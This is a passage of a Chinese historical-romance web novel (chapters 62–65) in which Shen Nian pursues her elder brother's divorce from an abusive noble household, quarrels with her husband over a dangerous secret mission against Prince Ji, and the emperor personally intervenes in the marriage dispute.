沈年白了她一眼,“是你们伯府一家之错,与我们沈家有何干系,若是真忍气吞声才是让我们沈家颜面扫地,惹人笑话。再说了沈家养的起兄长,只愿了结了这桩婚事,你们伯府想以兄长要挟实在打错了算盘。” 女子闻言面色土灰,只能瞧着沈年风风火火随衙役出堂而去。 等她慌张赶回伯府,衙役正压着侧室从正门中出来,沈年坐在车厢中掀起帘子冷冷瞧着,伯府门口站着一圈人噤若寒蝉,瞧着沈年的脸不敢阻拦。 那侧室出声向女子求救,“妻主不是说这世上最疼的是我,是我身边的小侍动的手,与我无干,这些官府的人并没有证据就来抓人,妻主可要救救我!我可是十几岁便跟了妻主!” 伯府门前的人听见他的喊叫羞愧低下了头,这侧室当时与她暗通款曲,未定下婚便有了身子,瞒着沈家慌张将沈季迎过门,之后才遮掩着将这侧室抬进府里。 沈年啧了一声,冷冰冰出声:“伯府当初欺瞒沈家,将阿兄骗进府中,此事做的可真是煞费苦心。” 老伯候敛起容色,迈步到沈年窗前卖笑赔礼,“贤婿进门后,伯府一直好生相待,都是这侧室不安分,明日本伯便去亲自去沈家向亲家赔罪。” 沈年不置可否,礼貌一笑后撤下帘子,随衙役徐徐离去。 回到院中已是深夜,进门时林闻溪提着灯坐在廊下等着。 “如今夜里天凉,你不在屋里坐着。” 林闻溪探出手让沈年搭着,提着灯引着她往前边走边说:“父亲过来了。” 沈年攥紧他的手,往身边拉了一下。 林闻溪回首笑道,“放心,父亲忙着安抚兄长,倒没说我什么。” “那便好,在哪间屋子,带我去瞧瞧。” 林闻溪指了指东侧一间亮着灯烛的屋子,“在那。” 走到不远处,林闻溪唤沈年先去进,转身去了厨房给沈年去盛汤。 沈年推门进去,沈父和沈季正坐在塌边埋首说话。 “这么晚才回来。”沈父抬头瞧了她一眼问,眼神添了几分平静。 沈年见状也和声问候:“父亲何时过来的。” “府中下人从外面回去禀告我的,你母亲和我都不放心季儿,便过来瞧瞧。听说你去府衙报了案?” “是。”沈年点头,“那个侧室已将压进狱中了,母亲她没怪我冲动行事吧。” 沈父摇头:“你母亲倒夸你呢,此事做的痛快。” 他心疼摸了摸沈季的背,“你兄长性子柔和,这些年回府从未向我们提前这些,若不是今日我们还不知他这日子过得如此艰难。” 沈季自责道:“我成了婚不想给家中添麻烦,今日又让妹妹为我耗心力。” “我同阿兄说过,阿兄无论如何都是沈家人,何时都可以回来。” 沈季微笑点了下头,“家中人都一心护着我,我从前还以为说出口会惹人嫌,往后不会如此了。” “有一桩事我想问阿兄的意思。”沈年走到他身边认真看着他。 沈季抬起头似乎是猜中她要问什么,“妹妹是想问我日后何去何从?” 沈年点点头,“阿兄可还对那女子有情?往后是否还想要回府?” 沈季利落的摇头,“我与她早已没一丝情分,我也不想再回去。” “只是我可以不惧流言被休,我的两个孩子不能留在伯府。”他说着偏头看了看沈父的脸色。 “季儿不必多想,沈家住的下你,你若回府大门一关任谁去说什么也不必理会。”沈父摸了摸他的手,“你母亲格外疼爱你,今日出门时她特意交代为父,你若过不下去安心回沈府就是。” 沈季欣然笑了笑。 沈年道:“既阿兄不惧愿意绝婚,那我便可放开手脚。不过我们沈家要和离,不要休书。” 林闻溪捧着碗汤进来,“三娘忙了一日还未用晚膳,先坐下用碗汤,这和离之事伯府定然不愿,可有的扯皮,想一时也定不下来。” 沈父跟着道:“他说的在理,听你母亲说你这四五日在官署和武库两面奔忙,上月瞧着刚养回一些这两日又消瘦了,快坐下用些东西。” 沈年看林闻溪和沈父两人和睦许多,点头坐下用饭。 “两位小侄就留在此住着,那案子我请了京兆尹拖着,反正一日不结,伯府也不敢来跟我要人。” “这事还有你母亲在,无需担在你一人肩上。”沈父说着皱了下眉,“今日你母亲上朝回府,说霁王不慎从祭台上踩空伤到了脚腕,将工部的人参了个遍,年儿可当心她报复。” 沈年回想起今日朝上霁王一瘸一拐走进殿,歪着身子站着的模样,料她也没想到会在阴沟里翻船,栽在工部那几位小吏手中。 沈年在身后看的清楚,霁王伤的其实并不重。 这样闹一出不过是为了欲盖弥彰。 昨夜罗从宛密派出去的人传回一条消息,霁王的人在兰城煽动百姓生乱,居然打着她的名号。 道如今天降大旱民生凋敝,是缘于青鸟错认了君主,她最早现身于兰城便是因真正天命之主在此地,被当今陛下骗至旧宅中施了阵法错认其为主,如今要将她迎回去才可太平。 沈年感慨霁王比她还会编这些玄乎的故事,不过翻一翻史书上总少不了这些神鬼之说,偏偏百姓们还就信这些。 霁王想来一早就料到她会请旨一同主持祭礼,到时候二人一齐被京中百姓瞻仰,夺位后也凭此为幌子名正言顺即位。 没想到工部那几人精心砌的台阶奏效。 对沈年来说实在算不幸中的万幸。 沈年昨日连夜入禁中跟陛下禀告了此事,隔着纱帘,陛下幽幽说要同她将计就计演一出戏。 …… 她不敢全然信陛下的话。 若是陛下假戏真做…… 沈年想着瞧了瞧这一屋子的亲眷,还是放下碗微笑道:“无事,我近来都在禁军中,霁王从何报复我。明日还要代陛下去行祭礼,今夜要早些歇息,父亲和阿兄也早些睡。” 沈父和沈季闻言笑着点了下头,林闻溪随沈年回了两人屋内。 点上灯,林闻溪帮沈年宽衣,沈年眼皮沉重着实是困倦。褪下衣裳,沈年用温水净了下脸,才好些。 林闻溪扶着她到镜前坐下松开发髻,沈年看见桌案上断成两截的青玉簪子,拿在手中问林闻溪。 “你最喜欢这支簪,怎么断了。” “是我弄断的……今日心烦。”林闻溪不想瞒着沈年,犹豫说道。 “怎么了?”沈年回过头去看他。 林闻溪将下巴抵在她肩上,委屈计较道:“三娘答应三四就回来瞧我,今日已是第六日了。” “是我失信了。”沈年凑上去打算亲下他的脸安抚,林闻溪向后退了退,将脸藏在她后背。 “三娘一惯用这招数哄我。”他的声音闷闷的。 静了几瞬,没听到沈年出声,林闻溪慌忙将脸露出来偷瞧镜中沈年的脸色,见她低头愁思,一脸乏困的模样,又自责的抱紧她道歉。 他慌忙抬手转过沈年的脸,将嘴巴凑上去,“三娘刚才不是想亲我吗?” “罢了,”沈年盯着他不经意叹了声气,“是不能总这般哄你开心。” 林闻溪闻声张大了些眼眶,固执将唇贴上去碰了碰,但沈年并未有所回应,他尴尬结束这个亲吻。 “是我惹三娘生气了?” 他的胸膛紧贴着沈年的后背,沈年感觉到他呼吸有些凝滞,回身站起向他摇了摇头,“我不在就闹脾气将簪子摔了,不吃不睡,我往后要常在外你让我如何安心。” 他抬头心虚问道:“三娘怎会知道?” 沈年闻言将眼一闭,一副果然如此的表情。 这人一诈就露馅。 林闻溪半跪着不起来抱着沈年的腿,将脸贴上去眼周泛一圈红,仰面盯着她看,我见犹怜的模样。 “是我不乖,不该不听三娘的话,成日盼着三娘回来。”他哭的认真,还顾得上趁抹眼泪的功夫偷瞟沈年的表情。 “地上凉受了寒腿又要痛,先起来。”沈年拽了拽他的衣袖。 他止了眼泪一笑:“还是三娘心疼我。” 灭了灯两人躺在榻上,沈年背对着林闻溪躺在里侧,她睁着眼千思万绪睡不着,不想让他看见。 同榻而眠这般久,林闻溪知道她未睡,也不出声静静将额头抵在她后背上。 等了许久忽然感觉到沈年的手指探到他身前,他兴奋抓着沈年的手从衣衫下摆探进去。 “三娘不如转过身来看……” 沈年翻身起来半框在他身上,盯着他的脸看。 “三娘。”他小声唤了一声,笑着勾着沈年的肩凑上去亲。 沈年掩住他的唇,“今日不做这个,我有话同你说。” 63 第63章 ◎夫妻争吵◎ 沈年一连几回的拒绝让他觉得分外挫败,他落寞垂下手侧过身从沈年身旁挪开。 “三娘要说何事?” 他背过身心不在焉的问。 满脑子却回想着沈年刚碰他时自己一副急于献身的样子,在沈年眼里应当显得轻贱的很,不然她也不会陡然掩住他的唇不愿亲近。 他将上身彻底背过去将脑袋埋在枕头里,沈年正要出声被他弄得一头雾水,跟过来抚上他的背,“这是怎么了又?” “我只是依三娘的意思而已。”林闻溪压着情绪语气听不出波澜,又接着向塌边挪远了些躲开沈年的手,“三娘难得回来,我该体谅三娘辛苦,不该缠着三娘厮混往后就是十天半月不回来,我也不再抱怨一个字,一人好生过日子。” “当真?” 林闻溪自然说的是气话,蒙着头听着头顶沈年满腔惊喜的问他,一瞬绷不住猛地坐起身来,声音哽咽着说:“三娘不愿回来便差人回来告知一声便是,何苦还回来说这一句。” 沈年一脸冤枉忙跟着坐起来,“我不过顺着你的话一问,何时说不愿回来。” “不是此意,三娘又为何问那样的话。” 帐子里一片黑,沈年摸到他的手握着,只听见林闻溪抽泣着将手抽开,未穿上鞋袜便下了榻,取下挂着的衣裳胡乱往身上披。 沈年下榻点起灯,拽着他的衣袖问,“这是去哪?” 他低头掩着脸赌气道:“我去西屋睡,不扰三娘清净。” “这大半夜的又胡闹什么。” “我哪里敢胡闹,分明是三娘对我避之不及,我只是不想留在此更讨你的嫌。” “你总这般多心。”沈年心中本就压着几重心事,一时气急将他拽回来按在塌边坐下,“你我相处已有大半年,我对你是何心思你岂不知?几日不见便要疑神疑鬼,要我说几遍才够。” 沈年僵冷着脸色,语气从未有这般重过。 林闻溪盯着她泪珠从眼眶里滚落,微微发抖着紧张喘了几口气,手足无措抓着背角像是抓到了救命稻草,一回身钻进被子中将自己整个裹着藏了起来。 沈年瞧他又是这副遇事就藏的老样子,心口堵着一口气坐到桌案边,倒了两杯冷茶喝下平心静气。看他躲在被中缩成一团一抽一噎的又不*忍心生怜惜,吐了一大口气到回到塌上拍拍他的背,“别哭了,是我不该跟你撒气。” 沈年看见里面林闻溪抓着被角的手指松开,凑过去拉开他蒙在头上的衣被,拿素绢擦了擦他沾湿的脸。 林闻溪闭着眼侧着一边脸躺着,沈年手指碰到他时眼睫抖的厉害,紧绷着脸咬着牙发颤。 沈年不知他为何会因她的一句气话害怕成这样。 “我话说重了些,”沈年俯身抱着他轻声安抚,“不是想要怨你什么,别害怕。” 林闻溪不言语一心往里侧躲,沈年别无他法只好贴脸亲上去,林闻溪紧闭着唇边,呜呜出声哭扭过脸抗拒。 “这是真生我的气了,亲一下都不给。”沈年掰过他的脸,语气轻柔有意哄他出声说话。 林闻溪抿着唇角强忍住了伤心,含糊说了两个字“不是”话音未落便被沈年低头堵住唇瓣亲吻,他想偏头去躲又被沈年捏着下颌强压着被迫承受。 他喘息不得睁眼推着沈年的肩,发觉沈年正盯着他的表情,似乎是等看他沦陷其中的样子,林闻溪失神的瞧着面前的沈年的脸,较起劲寻机叼上她下唇准备咬。 沈年一瞬不动了,嘴巴依旧贴着不躲,像是等着他动作。 他的呼吸作乱,胸腔里的心脏像是要蹦出来,犹豫了几次还是松开齿尖,伸手推了推沈年的脸,“我只能被三娘耍着玩罢了。” 沈年握着他的掌心,笑着亲了亲,“你说说我哪里耍你。” 林闻溪被她弄得手心发痒,不自觉将手指蜷曲起来,“刚才三娘伸手碰我,而后又说今夜不要,不是耍我是做什么。” “我是想摸摸你功练的如何而已,并无他意。” “如此说还是我自作多情了。” 他丢脸的将手抽回,却被沈年抓着压在她手下,未反应过来便又被她箍住下巴接吻。 “不要……”他想张嘴阻止,又被沈年抵开牙关勾缠着舌尖不放,在他唇边落下一场更为细密的亲吻,他的喉间抗拒的声音不知何时换做了克制不住情动的闷哼。 沈年总算放开他的手掌,探进下襟握上他的腰,他支起手肘挡在两人之间,“三娘不是说了不做,这会为何又强逼着我。” “你不是因这个生我的气?”沈年停留在他身上的指尖僵滞,“你若是真的不愿,我不强迫你。” 林闻溪一怔垂下手示弱,“又不是为了这个,只是三娘为何离我几日便变得如此冷淡,还那么欢喜说往后都不回来……是不是厌倦我了。” “我每日都在城楼上往院中瞧,日日都想着你,”沈年将额头贴到他脸上抱紧,“今日还专程给你送了鱼回来,你吃了我的东西就转头忘了不成?” “我……”林闻溪自觉理亏,声音愧疚了几分,“那先前那会在下面,我亲三娘,三娘又不理会我。” “我心中压着桩正经事,正要和你说,你就要闹着下榻走了。” “是什么正经事?” “等会再说,我怕说了你又要跑。” 沈年抬起脸执着又亲上来,林闻溪抬手假意推了一下,嘴里的含糊不清的疑问淹没在她的缠绵亲吻中,他闭上眼沉沦其中揽上她的腰迎合。 院中还留着沈父和沈季二人在,林闻溪咬着唇角一声都不敢出,不过几日独身让他禁不住比寻常结束的要早,他不知该庆幸还是自愧。 “三娘”他紧张坐起来将沈年环抱在怀中,“是我扫兴。” “我本也是想和你多说几句话。”沈年被他惹的忍不住笑,不知如何宽慰是好,伸手摸了摸他的头。 林闻溪更憋红了脸,将头埋到沈年肩头半天才吐出一大句话:“是我太想三娘了我先前所说都是气话,我不想三娘离开我身边,想三娘日日都在我左右三娘一不在我便控制不住胡思乱想,往后就常回来吧,如何?” “这正是我要同你说的正事。”沈年皱起眉短叹一声,“霁王在兰城以我的名头煽动民变,陛下她想做一出君臣反目的戏,假意派我出京镇压半路行刺,而我在其中诈死,拿着兵符去寻人进京勤王,里外夹击一举平定霁王。” “此计凶险,陛下这是将三娘全然至之险境,她一人稳坐钓鱼台,三娘断不可答应!”林闻溪闻言骤然变了脸色,抬起头道。 “可就凭京中那点禁军,短短一两月内根本难以跟霁王对峙多久,若拖到冬日民变四起,倒时天下大乱,覆巢之下焉有完卵,你我还有身边众人无人能幸免。” “可这么要命的事,三娘怎不早同我说,我才不在乎旁人是死是活,”林闻溪气的黑了脸,“三娘一介文人又不懂得行军打仗,怎何事都落到你头上,陛下她究竟安的是何心思!” “你小声点。”沈年捂了下他的嘴巴,“我不早和你说就是忧心你思虑过多。” 林闻溪拉开她的手震惊道:“三娘难不成原本还打算瞒着我?” 沈年心虚道:“我那会不正要和你说么。” “所以我说那些气话时,三娘那么欢喜,这是早打定了主意要扔下我一个人走。” “没扔下你。”沈年语气温和想安抚他的情绪,“我不在京中还有母亲和父亲,还有从宛和岳弟照顾你,我领命出京陛下也会厚待于你还有我早晚会回来的。” “三娘已替我想好了后路,还何必哄我说什么回来。”他哽着声眼泪决堤大哭,“三娘有大义要为国尽节,我算的上什么” “我定是要做好万全之策才动身的,又不是白白去送死。” 沈年故作轻松的语气,伸手想抹他的泪珠劝慰,被林闻溪一抬手拍开,“别再碰我,怪不得非要同我亲近之后才愿说,就想着用这种事来哄骗我。” 她再说什么林闻溪也哭喊着不愿意听,还没靠近一点就被他手脚并用的踹开,沈年试了几回无计可施,倒是招来了沈父在外头敲门。 沈年下榻时林闻溪故意扯开身上的被子,光裸着身子任夜风吹他。 她无奈披了件衣裳,匆匆去推开门后很快掩上。 “父亲这么晚还未睡?”她拢了拢凌乱的发丝,了无生气的问。 沈父见状咳了一声,“为父还以为你们二人在争吵夜深了此事不必太晚,年儿近日繁忙还是善自保养才是。” “不是”沈年慌忙摆了摆手,“我只是与他闹了些不快,争辩了几句,这就睡。” 沈父只是莫名笑了笑,点头回了屋。 回去林闻溪像尊玉雕一样冷脸坐着,“将我的衣裳藏起来,还跟父亲说什么不是,三娘骗我的时候怎不见害羞。” “我不藏你刚才翻窗走了也说不准,”沈年将被子遮在他身上,强压着人躺下,“今夜先睡吧,难得见一面,我不想再同你吵。” “三娘不都想着一走了之再也不见。”林闻溪掰着她的手,“这会又装什么。” 沈年晓得他在气头上一时难以接受,装聋作哑不再出声,扣着他的手不动,许久林闻溪一人唱独角戏说累了,才昏昏沉沉睡过去。 一早醒来已是不见了人影,院中的两个小侍听见她走动进来伺候她穿朝服。 “他人呢?”沈年慌张问。 “正君一早起说要搬去偏屋住,斋戒几月为三娘子仕途祈福,已在佛像面前跪了一个时辰,送去的茶点也让端回去。” “早知他这性子,还不如不说的好。” 沈年惆怅叹了一声,甩袖子步履匆匆到偏屋,一推门走进去,果然看见他腰背挺直,跪的认真。 “你这双腿是不打算要了?”她气不打一处来问。 “我的腿废了,三娘是不是就舍不得走了。” “你非要用这种折磨自己的手段,我不是抛下你不管,为何不肯信我。” “不然呢,我有什么法子,我只有我这副身子。”林闻溪回头微红着眼目光决绝,“我亲眼见过三娘在我面前倒下过一回,看见你在榻上缠着纱布躺着一动不动你让我放你走,那不可能。” “可我也有不得已,你明明知道若是可以我何尝不想日日陪着你。” “那便带上我一起走,是生是死我跟着你。” “我又不是笃定就要死了,退一万步说,即便我不在了你一个便不能过下去了?” 林闻溪听到沈年口中死这个字眼,情绪激动转过身用力捶她的腿,“我就是离了你过不下去,你若不在了我便立马去投河。” “你我和你说不通。” 沈年不再费口舌,生拉硬拽将人拉起来坐下,林闻溪挣扎着将她推着半跪在地上。 见她这样,又下意识伸出手去扶,沈年盯着他喉咙发酸,掉下几颗泪珠。 林闻溪瞧见攥着衣角将脸扭过去,隐忍着情绪。 沈年在地上静静瞧了他许久,忽然利落抹了下眼泪对他语气生硬道:“过来扶我起来。” 林闻溪闻言一怔转头看向她。 沈年冷着脸:“怎么了,从前是我太惯着你,让你忘了做人夫的本分。” 林闻溪起身将她扶起来,沈年又出声命令道:“你出来服侍我用饭。” “三娘你……”林闻溪努着脸。 沈年一脸严肃的反问他:“你听是不听。” 林闻溪在她冷峻的眼神下僵持了半刻,还是败下阵来跟在沈年后面出了屋门,到了桌案跟前,他迈步想坐到沈年对面,又被她伸手拽到身侧坐下。 “给正君添碗粥。” 沈年头一回在人前阴沉着脸色,两个小侍见状慌忙盛了一碗白粥端到林闻溪面前。 见林闻溪没有要动的意思,沈年也不多言将碗接过来,舀了一勺喂到林闻溪唇边。 “张嘴。”她又是命令的语气。 林闻溪收着力道将她的手推开,勺中的粥洒到桌面上几粒,沈年瞥眼瞧了一下。 两个小侍眼疾手快上前来擦干净。 “三娘使软的不行就来硬的,你叫我听你的话,你又何时听过我的。” 沈年像是没听到他的话,又挪手过来将粥喂给他,“你吃不吃?” 沈年真发起火来,周身的气压低的让人有些生畏。 林闻溪还是乖乖张口,一勺勺将那碗粥咽进肚子。 等喂完他,沈年才自顾自用起自己的饭。 屋中只有沈年碗勺偶尔碰撞的声音,两个小侍大气不敢出,林闻溪虽愠着脸色但也不敢起身走动。 “今日继续跟着小薇练功,等我晚上回来查你练的如何。” 她临出门时盯着他吩咐。 林闻溪倔着脸没应声,沈年慢悠悠从屋门口走回来用手背拍了拍他的脸,“你再敢跪着,等我回来有你好受的。” “三娘要怎样?”林闻溪不服气的瞪着她,“是要打还是罚,你舍得?” 林闻溪话音还未落,猝不及防被沈年当着屋里屋外人的面,重重亲了一口。 林闻溪后仰躲开时,不当心还弄出一声明晃晃的吻声。 “你……”林闻溪气急败坏在沈年肩上捶了一下。 沈年提起嘴角笑了声,面不改色的转身迈出了门,身后乌泱泱跟着两队人。 林闻溪留心听着沈年今夜要回来的话,待她一走敛起愠色,暗自笑了笑。 他这一招还算是有用,到底是栓着她的心,让她想着回来了。 沈年对他温柔也好,冷面也罢,终究是在意心疼他。 再过些时日,沈年说不准会为他而妥协。 天下大乱又关他什么事,他只要沈年平安无事在他身边,天底下公卿贵胄那么多,凭什么偏偏就要她去。 他站起身甩了甩袖子去外头寻小薇练功,他平日闹闹小脾气无妨,但闹的太过火让沈年真与他生了罅隙便不好了。 沈年的话他还是要听的。 /:. 今日学的依旧是腿法,小薇在庭院中示范了两三回,林闻溪照猫画虎对着木桩子踢腿。 待沈父和沈季醒来出屋时,他额上已经练出了一层汗。 沈季好奇走近来问:“妹夫这是作甚。” “三娘吩咐我做的。”林闻溪边说着边假装擦汗偷瞥沈父的脸色。 “昨夜听妹妹与妹夫似乎闹了脾气,一向瞧着妹妹牵挂妹夫,原来她竟也舍得罚你。”沈季同情的看着他说。 “嗯?”林闻溪愣了一下,打量着沈父的脸色索性将错就错认下,“我失了礼数,三娘罚我也是应当。” 沈父不冷不淡在旁出声问:“是因何事而吵闹。” “是我请三娘往后早些归家,三娘却一心惦记着公务,不愿听我的。” “年儿宠你是你的福分,你若是恃宠生娇可是不懂规矩了。” 林闻溪谦卑点头:“父亲教训的是。” “不过你劝劝她也好,她如今一心扑在公务上,哪个朝臣像她这样没日没夜的当值,”沈父转眼看了眼他的小腹,“年儿回来你也好早些为沈家生个孙女。” 林闻溪弱弱哦了一声,孩子要看沈年的心意,他可做不得主,不过瞧这样子沈父算是接纳他了,也是桩好事。 三人围着沈季两个孩子逗趣了片刻,沈府来人传信说伯府家的提着礼来赔罪,沈父带着沈季上了马车回府应对,林闻溪留着照看两个侄儿侄女。 64 第64章 ◎御驾临府◎ 秋高气爽,田间的一众朝臣都从围帐中出来,放眼望着面前几片平整金灿灿的麦田。 “今岁也就京中的田地麦子长的好,殿前司居功甚伟。” 陛下的鸾驾停在远处的一片高地上,从这里望下去一片金黄连接着湛蓝的天际,条条横横齐整的田埂,百姓人头攒动挤在田间,俨然一幅盛世太平的的画卷。 沈年伴在圣驾身侧,微微低头道:“京中百姓耕田犁地日日辛劳,才有今秋收成,微臣不过尽绵薄之力不敢揽功。” “沈爱卿是能臣也是忠臣,朕心甚慰。” “陛下谬赞。”沈年要屈膝谢恩,被陛下扶了下胳膊起身。 “在朕面前沈爱卿不必如此多礼。”陛下朗声笑了笑道,“沈爱卿可知道朕从前只是个连无名无位的闲人,只是一朝天命眷顾登临极位,才知晓高处不胜寒,登基三年朕过的如履薄冰,眼见着祖宗基业要毁在自己手上,朕夙夜难寐,幸而得了沈卿。” 沈年只是颔首默默听着,陛下同她说这些话是恩赏,她若承这话说下去可就有僭越之嫌了。 “今日召沈卿前来是想问前日所定之计,沈卿可考量的如何?” “微臣与陛下共谋大事,自然任凭差遣,只是家中兄长和郎君还需时日安顿,望陛下允准。” “这是人之常情,朕听闻沈爱卿之兄在伯府蒙受了冤屈。” 沈年琢磨着为趁沈季和离之事为自己拖一些时日,便着意说的细致了些:“微臣谢陛下体恤,家兄为人和软,母亲与父亲又上了年岁,若不将兄长的事安顿妥当,微臣实在放心不下。” 陛下闻言若有所思的点了下头,临近祭典的时辰,听声音礼部已开始命人敲钟焚香了。 “沈卿还需代朕主持祭典,便先行退下吧。” “是。”沈年躬着腰后退几步,而后转身离去。 霁王摔伤了腿,仪容有碍观瞻自然只剩了沈年一人捧着香登上祭台祝祷,京中的农户大都认得她这张面庞,虔诚跟着她一同在奉香跪拜。 行罢礼百姓在祭台下一直唤着她,捧着要送新摘的青梨红桃给她,沈年盛情难却怀中抱了几颗,而后递了个眼神给徐珞宁。 徐珞宁会意上前替她招呼百姓,引着人去喝今年的新酿。 她一人不声不响从侧台而下,台下的霁王有心去拄着拐杖撞了她的肩一下。 霁王假装趔趄一下,撑着拐一笑:“沈大人行事低调,百姓如此感念沈大人的功绩,沈大人合该去与民同乐才是。” 沈年冷哼一声:“霁王殿下腿脚不便还前来,可真是用心良苦。” “本殿不知是哪里招惹了沈大人,让沈大人生这么大火气,今日都未见沈大人一个笑脸。” 沈年懒得与她虚与委蛇,白了一眼抬脚要走开。 霁王拿拐杖挡在她身前,意味深长的笑道:“本殿刚瞧见沈大人的郎君在人群里,沈大人不去寻一寻。” 沈年压着眉回头与她对峙一眼,“你什么意思?” 霁王指了指人群中林闻溪的位置:“听闻沈大人夫妻恩爱,本殿不过好心提醒一句,沈大人这般激动做什么。” 沈年撞开她的肩,径直往林闻溪的方向钻进人堆中,见到人不由分说就拽着他的胳膊往外走。 她慌里慌张在林闻溪身上摸索几下,林闻溪沉着脸将她的手甩开,“这在外头,三娘要做什么。” “你怎一个人跑出来。”沈年惊的一身冷汗,大喘气问他。 “还不是那两个孩子吵闹着说在院中闷,听到外面的动静非哭着叫我领他们出来瞧热闹。”林闻溪扬了扬下巴,看向两个孩子,“有那群侍卫跟着照看孩子,放心,不会被伯府的人抢了去。” 沈年抹了抹汗虚惊一场,林闻溪一脸别扭出声关心道:“可是昨夜吹了风染了风寒。” 沈年摇头说了声不是,回头望了一眼霁王。 林闻溪随着她的视线看到霁王那双漆黑的眼眸,一瞬明白醒转过来,“我这就回去。” “伯府的人今日去府上,也不知母亲和父亲能否应付对我过来,你且先随我回去,傍晚我同你一起回院子。” 上了马车,二人默契的谁都不出声说话,一人怀中各抱着一孩子。 小侄女的脸蛋生的圆润,脸颊贴在沈年脸上软软凉凉的,语气幼稚的问:“小姑姑和叔叔是不是在吵架。” 沈年看了眼林闻溪,捏着她的小脸笑笑:“没有……” “爹爹和母亲生气就是这样,谁都不理谁。” 小孩子的手瞧着小小一点,却十分有劲,鼓着脸拉着沈年的手放在林闻溪手背上,“这样就和好了。” 林闻溪难得展眉笑了笑,这两个孩子格外讨人喜欢,他竟也不生厌。牵着孩子进了沈府,走近厅堂便听见里面你一言我一语的争辩声。 沈年向林闻溪使了个眼色,林闻溪便领着往后院去了。 沈年走进堂中,两家人正剑拔弩张的对坐着,瞧见她老伯侯的容色稍作缓和,“伯府是理亏在先,不过女子三夫四侍是寻常事,沈府势微时伯府也一直是以礼相待,何况今日伯府已上门赔罪,本是亲家不想伤了和气,这二人成婚多年,岂有劝离不劝和的。” 沈年坐下反驳:“当初可是威胁兄长说要休了他,还纵容侧室欺辱,这便是伯侯说的以礼相待?” “那不过是一时意气用事,我平日与沈郎也算的上相敬如宾。” 沈季的那位娘子,脸上的伤青一块紫一块,说话时捂着一边脸。 她厚着脸皮小步挪到沈季面前,碰了下他的胳膊:“伯府今日已给足了你面子,再闹下去也无用,早些随我回去才是。” 沈季甩开她的手,“你我早已是相看两厌,何不就此一别两宽,你痴心那侧室正好与他成双成对,伯府若愿和离沈家倒是可放了那侧室。” 那女子被沈季下了脸面,语气强硬几分:“伯府断然不会和离,沈家眼下是权柄滔天,但还有公理王法在,我倒是要看看耗到最后这婚事到底断不断的干净。” 这和离即便是两方都点头也是桩极繁琐的事,更不用说女子这边不应允,想要和离实在是难于登天。 伯府如此有恃无恐也是情理之中。 女子放过狠话,又故作温柔起来,不依不饶的去扯沈季的衣袖:“难不成你情愿做个寡夫孤苦到老,还有你我的孩子,日后们没有父亲该多可怜。” 沈季被她捏到痛处,似乎是有些动摇没去阻止她的拉扯。 沈年起身将人推开,冷笑一声:“少在我们沈府虚张声势,拿自己的亲生儿女来威胁,算什么东西。” 沈修撰云淡风轻开口,“有我沈家在季儿怎会孤苦,两个小外甥伯府若养不成沈家自会照拂,再吵也是无趣,有什么话留在日后在公堂上再辩。” 伯侯沉下脸:“亲家当真要将此事闹到公堂上?” “季儿自小长在我身边,我都未曾对他说过一句重话,在伯府却要忍骂挨打为人一世都是为女为儿,伯侯的女儿是心头肉,我的季儿也受不得委屈,耗多少时日沈家也奉陪。” 眼见话不投机,伯府的主君盯着沈年诘问:“如此先将我的一双孙儿还来,那可是明明白白写在族谱上的,是我伯府的孩子,你们沈家藏起来是何道理!” 沈年笑道:“你们府上侧君暗害之事还未查清,京兆伊大人可有话在先,此时送回去若恐再遭毒手,先让孩子暂居沈府待案子查清再送回去为好。” “那可是我的亲生骨肉,再如何也该由我这个亲母照护,你们沈家这分明就是仗势欺人!” 她话音未落,外面忽然进来一女使磕磕绊绊的走进来,附在沈修撰耳上说了一句。 沈修撰闻言张大了眼珠,“陛下御驾到了沈府??” 众人闻言皆僵住了脸色,一个个慌忙起身整理仪容,跟着沈修撰出府迎接圣驾。 沈修撰跪在鸾驾前:“陛下御驾亲临沈府,沈家上下惶恐。” 陛下踩着人背从鸾驾而下,抬了抬手,身旁的内侍出声让众人起身。 “朕难得出一趟宫门,想在宫墙外走走一不留神倒走到沈爱卿府门上了,你们便当朕是寻常一客,不必拘束。” 沈年心中一阵惊涛骇浪,低头正猜陛下的来意,瞥见身旁伯府的几人站着腿脚发颤,倒是奇怪。 这伯侯又不是未曾面见过陛下,怎会如此兢战。 她不知,伯府的几人是在惊恐沈家的恩宠盛极至此。 从来只听说朝臣入阙朝拜,没见过皇帝亲临大臣府邸的。 伯侯正低着头后颈渗汗,听见陛下出声点她。 “伯候也在。” “陛下圣安。”伯侯躬身行礼道。 “朕可是来巧了,沈卿府上有何要事今日这般热闹。” 沈修撰道:“今日与伯侯一会是为桩儿女家事,讲起来恐损圣听。” “朕正乏闷,这家事略有耳闻,不知可否让朕细听一听,朕为你们两家断一断可好。” 沈年算是听明白了,合着这陛下是为今日她的话来的。 几人立在堂外,讲了一番经过。 “如此说来,着实是伯府理屈。” 陛下一句话吓的伯府的人慌张跪地。 “不过古语讲,宁拆一座庙不毁一桩婚。”陛下抿了一口茶,“朕倒是有个主意,不如让这夫妻二人离居一年,待到日后……” 陛下还未说完,堂外的沈季听着这言外之意心中慌乱,一时未站稳晃了下脚步。 沈季忙跪在地上磕头请罪。 陛下徐徐迈步到堂前唤他起来,“怎么,朕所可有说不妥之处。” 沈季边起身边谨慎道:“臣子不敢妄言。” 陛下看清了沈季的脸,不经意干抿了下嘴唇,片刻回神淡笑了笑,“你便是沈卿的兄长。” “是。” 陛下眼神接着在他身上流连几下,而后回到软榻坐下。 她话锋一转:“不过这人非草木,沈卿之子与伯侯之女已是情缘消散,若勉强依着古语,一年年消磨下去也是孽缘,不如一刀斩断,两相安好。” 这两三句话绕了几个弯,几人一时都不敢应声。 沈修撰挺身站出来:“陛下不拘俗礼,断的实在圣明。” 陛下在里头满意笑了一声,“朕不过这么一说,两位爱卿的家事朕不好插手,是和是离还要看两位爱卿的主意。” 伯府的几人灰头丧气,陛下的话说的客气,可堂堂天子发了话让两人离,有哪个府衙敢违逆陛下的心意。 恭送了陛下出府,而后也垂着头离去。 65 第65章 ◎还闹别扭◎ 陛下圣驾出府时,路过沈季身边脚尖似乎有意往他手边偏了几分,沈季跪着不敢抬头未见天颜,不知是不是自己的错觉。 他若有所思低着头望着陛下的行鸾,抬起手掌看了看被陛下衣摆撩到的手指骨节。 “阿兄在想什么呢。”沈年碰了下他的肩。 沈季抬脸微笑向她摇头,“阿兄只是未曾想到,我这桩事竟能引来陛下圣裁。” “阿兄这是吉人自有天相,如此一来阿兄便很快能还自由之身了。” “多亏有妹妹在。”沈季抬手温柔摸了摸她的额发,“要妹妹几次三番护着我,我这个做兄长的真是脸红。” 